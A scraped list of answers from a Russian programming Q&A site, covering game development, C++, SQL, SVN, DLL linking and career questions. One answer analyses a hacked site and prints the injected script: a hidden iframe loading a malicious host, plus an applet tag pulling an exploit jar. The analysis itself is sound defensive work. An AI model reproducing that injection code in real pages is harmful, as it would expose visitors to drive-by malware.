• Как "прийти" в биоинформатику и что для этого нужно?

    bobrovskyserg
    @bobrovskyserg
    Загляни сюда.
    Ответ написан
    Комментировать
  • Связывание Lua с объектами C++

    @NeonMercury
    А не задумывались над luabind?
    Да, разбираться и компилировать немного нетривиально, но это того стоит. Потом пробрасывать классы и объекты в lua - сплошное удовольствие. Вот пример кода:
    https://github.com/NeonMercury/time-killer/blob/ma...
    Ответ написан
    Комментировать
  • Как начать разрабатывать 2d игры под iOS на cocos2d?

    Teivaz
    @Teivaz
    Литературу я вряд ли посоветую, но опытом поделиться могу. Процесс создания игры следующий:
    сначала создаётся документ с общим описанием игры, затем, в процессе бурного обсуждения документ обрастае деталями, подробностями, фичами и прочим. Получившийся документ называется ГДД (гейм дизайн документ). В нём должны подробно быть описаны все игровые режимы, Окна, возможности, переходы, состояния. Для создания какого-либо окна в удобном вам графическом редакторе создаётся фейк (просто картинка с желаемым результатом), затем художник разбирает фек на детали, дорабатывает их и передаёт геймдизайнеру, геймдиз в имеющейся тулзе создаёт гуи (если нужно) и отдаёт всё программисту, который складывает ресурсы в игру, прописывает в коде загрузку необходимых проектов, колбэки на кнопки и подобное.
    Я сам сейчас занимаюсь созданием игры с кокосом, только я использую cocos2dx (кросс-платформенный вариант на C++).
    Про гуи, левелам и анимациям. Для кокоса есть тулзы, я, например, использую CocoStudio. У неё есть модули для создание гуи, скелетной анимации и сцен. При этом тулза экспортирует проект как сцену в json формате + один или несколько атласов (которые сама собирает) и плисты к ним с описанием спрайтов. Всё что нужно для таких базовых вещей. А ещё можно в анимации вставлять частицы. Только вот немного глючит эта студия.
    Что же касаетс создания конкретного левела в игре, то тут нужно продумать игровую механику и отталкиваться от неё. Если левел не удаётся создать используя существующие тулзы (а скорее всего так оно и будет), то следует описать логику геймплея: выделить основные объекты, описать взаимодействие их, определить какие из них и что конкретно должно меняться от левела к левелу и вынести загрузку их во внешний файл (можно использовать обычные плисты, которые легко парсятся в словари, а можно использовать скрипты, кокос2дх поддерживает луа, только я пока им не занимался). Это позволит разделить труд (один человек может делать скрипт для конкретного левела, другой - доделывать логику), легко изменять параметры и баллансировать левелы без пересборки билда и вообще - это общепринятая практика.
    Ответ написан
    2 комментария
  • Как решить данную задачу с помощью языка ассемблера?

    Нет мы не будем делать за тебя лабу по програмированию
    Ответ написан
    Комментировать
  • Существует ли фреймворк для создания мобильных приложений-книг?

    deleted-mifki
    @deleted-mifki
    Имхо, делать книги в виде отдельных приложений — извращение и неуважение к пользователям.
    Ответ написан
    2 комментария
  • Использование decltype или…?

    @vScherba
    template< class RandomAccessIterator >
    void sort( RandomAccessIterator first, RandomAccessIterator last )
    {
        sort( first, last, std::less< std::iterator_traits<RandomAccessIterator>::value_type >() );
    }
    
    Ответ написан
    2 комментария
  • Как вносить изменения в базу последовательно, т.е. выстраивать в очередь в определенном моменте?

    dali
    @dali
    эм. вы что делаете SELECT rating FROM users WHERE userid = :id, потом делаете rating++, потом делаете UPDATE users SET rating=:rating WHERE userid=:id? Во-первых, вы можете просто делать UPDATE users SET rating=rating+1 WHERE userid=:userid. Во-вторых, можете выстроить очередь. При изменении рейтинга в очередь ложить действие (+ или -), :userid, потом обработчик очереди сам сделает + или — над рейтингом очереди, но тогда пользователь не увидит мгновенного изменения рейтинга. В-третьих можно рейтинги пользователей держать в кэше, делать +- в кэше, показывать из кэша, а кэш синхронизировать с базой несколько раз в день или по какому-нибудь событию.
    Ответ написан
    1 комментарий
  • Что делать с человеком, который не комментирует код?

    kk86
    @kk86
    Если код и правда понятен, то зачем заставлять писать лишнее? Если код местами непонятен, аргументированно требуйте комментировать такие места. В качестве аргументов желательно приводить факт непонятности кода другим разработчикам (то есть надо попросить нескольких людей объяснить что делает неизвестный им код за 5-10 минут).

    Если я правильно понял, то в вашем случае человек «особенный» в некоторых смыслах. В частности, его нельзя заставить делать так, как Вы хотите. Поэтому тут следует попытаться убедить человека или, как крайний вариант, прийти к компромиссу.

    Как разработчик могу сказать, что сам противник комментариев, но с оговоркой: неясные моменты всё-таки надо комментировать, если не удаётся переписать. Другое дело, что когда руководство или коллеги начинают продавливать желание видеть комментарии везде, это вызывает раздражение, так как с комментариями жить тяжелее (не буду «баянить» про то, что их непросто поддерживать и т.п.)
    Ответ написан
    3 комментария
  • Подключение dll к проекту Visual Studio 2010 (C++)

    @MikhailEdoshin
    Нужно сделать .lib-файл самостоятельно. Посмотрите, нет ли в комплекте с .dll файла .def. Если есть, то можно получить .lib с помощью

    lib.exe /DEF:mylib.def mylib.dll

    или

    lib.exe /DEF:mylib.def /OUT:mylibname.lib mylib.dll

    если нужно другое имя. В таком виде (dll + def), распространяется, например, sqlite3.

    Если .def-файла нет, посмотрите, какие у вас символы в библиотеке через

    dumpbin /exports mylib.dll

    Если это практически те же имена, что и в заголовочном файле, значит, библиотека экспортирует символы в стиле С; это хорошо. Перечислите все нужные имена в командной строке:

    lib.exe /EXPORT:mylib_func1 /EXPORT:mylib_func2 mylib.dll

    (.def-файл, по сути, делает то же самое.) Единственное, я сейчас не помню, но к именам может спереди добавлятся подчеркивание. Я не уверен, нужно ли указывать имена с подчеркиванием или без.

    Если там имен нет, значит, они отрезаны, функции можно определить только по порядковому номеру. Если вокруг них всякая муть, это C++, а муть означает закодированный тип параметров. Это все не очень хорошо, конечно, потому что соответствие номеров функциям не определить (разве что экспериментально), а стандарта на кодирование нет. Но технически создать .lib-файл можно, у опции /EXPORT полная сигнатура такая:

    /EXPORT: entryname[= internalname][,@ ordinal[, NONAME]][, DATA]

    То есть можно и переименовать функцию, и по номеру ее выбрать, и данные экспортировать. Но это на крайний случай.

    lib.exe обычно не в PATH, из обычной командной строки не найдется, но в группе инструментов Visual Studio должно быть что-то вроде «Command Prompt» — он открывает консоль и добавляет нужные пути в PATH, так что инструменты командной строки становятся доступными.

    Ссылки: dumpbin, lib.
    Ответ написан
  • Книги по ООП, С++

    @Tibr
    Для начинающих:

    Брюс Эккель — Философия С++. Введение в стандартный С++.
    www.ozon.ru/context/detail/id/1631049/

    Брюс Эккель, Чак Эллисон — Философия C++. Практическое программирование.
    www.ozon.ru/context/detail/id/1895018/

    Для «продолжающих»:

    Скотт Мэйерс — Эффективное использование C++. 55 верных советов улучшить структуру и код ваших программ
    www.ozon.ru/context/detail/id/2610625/

    Скотт Майерс — Эффективное использование С++. 35 новых способов улучшить стиль программирования
    www.ozon.ru/context/detail/id/2623946/

    Скотт Мейерс — Эффективное использование STL
    www.ozon.ru/context/detail/id/1253685/

    Герб Саттер, Андрей Александреску — Стандарты программирования на С++
    www.ozon.ru/context/detail/id/2381848/

    Герб Саттер — Решение сложных задач на C++
    www.ozon.ru/context/detail/id/3817580/
    Ответ написан
    1 комментарий
  • Антивирус для сервера?

    amc
    @amc
    Быстрый, надежный, малотребовательный. Выберите любые два.
    Также, цены на память в 2011 году н.э. просто небывало низкие.
    Ну и в третьих — ставите Касперского, сканите все диски чтобы все файлы были проверены и не проверялись без модификации, переставляете в режим максимального быстродействия, без проверки архивов и прочего.
    Ответ написан
    Комментировать
  • Есть ли здесь бывшие олимпиадники? Как олимпиады помогли Вам?

    @tangro
    Диплом призера государственной олимпиады дал мне бюджетное место в ВУЗе. Диплом победителя внутривузовской олимпиады — повышенную стипендию (200%).

    С психологической точки зрения олимпиады дали мне такие вещи как:
    1. Веру в том, что нерешаемых задач нет. Надо просто еще чуть-чуть подумать.
    2. Принцип «сначала делаем то, что знаем, потом — то, что не знаем». Очень помогает.
    3. Чувство того, что всегда есть кто-то впереди тебя и стремление его догнать и перегнать.

    С точки зрения полезности олимпиадных знаний — почти ничего. Нет, ну конечно, кое-какие познания в области дискретной математики, теории вероятности и т.д. остались, но в целом олимпиадное программирование и промышленное программирование не связаны никак. Это как фигурное катание и хоккей — и там и там вроде бы есть коньки и лёд, но вот методы их использования и конечные цели очень отличаются.
    Ответ написан
    8 комментариев
  • Взлом сайтов. Вставлен произвольный код?

    Paketik
    @Paketik
    Проанализировав тот код, что вы мне дали в ПМ:
    в браузер выкидывается:
    
    document.write('<iframe src="http://gt32.co.cc/index.php?tp=32b260002f490aa3"frameborder="0"></iframe>');
    

    При этом идет скачка файла gt32.co.cc/games/javaobe.jar, который определяется как Exploit.Java.176
    www.virustotal.com/file-scan/report.html?id=8d240bc87e5de0abd6d5872698dd7bfa06bcfee26055e585fd7844fbf3d589a1-1296664900

    анализирем html:
    
    <applet code='prev.monoid.class' archive='./games/javaobe.jar'><param value='Mjjdo##pjuAsVOsVV#wsdMdCRWuL&/W1' name="dskvnds"/>
    

    значению dskvnds передается переменная Mjjdo##pjuAsVOsVV#wsdMdCRWuL&/W1
    глянем файлик через Java Decompiler:
    chaketik.pastebin.com/PXkj4Q0J

    пока достал только пару переменных, я просто первый раз копаюсь в коде java ;)
    
          koli=exe.
          ipol=ridpmt.oi.avaj
          bsde =eman.so
          bsda = .exe
          bsdz = java.io.tmpdir
          bsdc =  os.name
    

    интересно что на хосте открыты порты
    5222/tcp open jabber Jabber instant messaging server (Protocol 1.0)
    5269/tcp open jabber Jabber instant messaging server (Protocol 1.0)

    продолжаю копать)
    Ответ написан
    1 комментарий
  • Менеджер библиотеки?

    @inkvizitor68sl
    Linux-сисадмин с 8 летним стажем.
    А мы используем хард-линки православных файловых систем.
    Ответ написан
    1 комментарий
  • Как пройти внезапное собеседование в IT-компанию?

    Вы уверенны в себе! Вы спокойны и расслаблены, но в тоже время остаетесь сконцентрированными. Поверхностные знания приносят вам понимание и тем самым закрепляют эти знания. Мысли направленны только на позитивный исход собеседования. На собеседовании будете отвечать уверенно и всеми своими словами, жестами, мимикой и голосом будете демонстрировать свою уверенность в своем отличном понимании предмета. Предварительно, вы в уме проиграете успешное собеседование, как талантливый актер перед пьесой. Вы представите, что к вам пришел неопытный специалист и попытаетесь ему понятно и в красках рассказать о этих самых системах.

    Все у вас получится! Успехов ;)
    Ответ написан
    1 комментарий
  • Установка сервера SVN

    ksusha
    @ksusha
    >>корень репозитория должен быть корнем сайта и после коммита должен быть сразу доступен в браузере

    Пожалуй, включу режим зануды и внесу некоторую ясность. Репозиторий — это не просто набор файлов и папок. Репозиторий subversion использует организованную особым образом файловую систему. Обычно файлы хранятся в БД, либо являются файлами определенного формата, так что корень репозитория не может быть корнем сайта.

    Что касается использования файлов проекта по прямому назначению, нужно, во-первых, экспортировать рабочую копию(svn checkout). Это уже обычное дерево папок и файлов со скрытой поддиректорией .svn в каждом каталоге дерева. Такая локальная копия имеется у каждого участника проекта, который коммитит в центральный репозиторий. Но и эту копию нельзя использовать на продакшене, так как она содержит эти самые служебные поддиректории .svn. Для того чтобы от них избавиться, экспортируется чистая рабочая копия командой svn export. Вот теперь это ваш проект.

    Сейчас как раз разрабатываю веб-проект с помощью svn, могу поделиться как у меня все устроено.
    Есть VDS-ка, где крутится сервер svn. Есть две ветки репозитория — trunk и release. На локальном компе рабочая копия, по мере разработки коммичу все в trunk. Все скрипты тестирую на локалхосте. Девелоперская база данных общая, расположена на том же серваке что и svn.
    Ответ написан
    4 комментария
  • Вирус, подменяет фон рабочего стола

    XakFak
    @XakFak
    Установите антивирус
    Ответ написан
    Комментировать
  • Самый быстрый исполняемый код?

    kekekeks
    @kekekeks
    Самый быстрый исполняемый код — это тот, который написан вменяемым программистом. Если у вас код выполняктся за O(nn), хотя есть алгоритм, делающий тоже самое за O(n), вам никакой компилятор не поможет.

    А так неплохие результаты выдают компилер студии и GCC. Ну и Intel C++, хотя его надо твикать, чтобы получившийся бинарник не тупил на AMDшных процах.

    Как-то вот так.

    По поводу оптимизаций — компилятор знает про выравнивания, конвеер и ещё кучу разных вещей, которые даже за счёт в нужном месте воткнутого NOP ускорят код в несколько раз.
    Ответ написан
    Комментировать
  • Использование English версий программ - улучшит ли знание языка?

    sevka_fedoroff
    @sevka_fedoroff
    Думаю, если у Вас уровень английского не нулевой, то не улучшит. Хотя конечно мне в свое время помогло немного. Это было вынуждено, потому что столкнулся с компьютерами я в начале 90-х, и большинство программ и игр было на английском. Ну и мой уровень английского тогда был школьно-советским. В общем я узнал, что key — это не только ключ, но и клавиша :)
    Короче если Вы знаете, что такое Any key, paste и save, то Вам уже поздновато переключать интерфейс на английский.
    Ответ написан
    Комментировать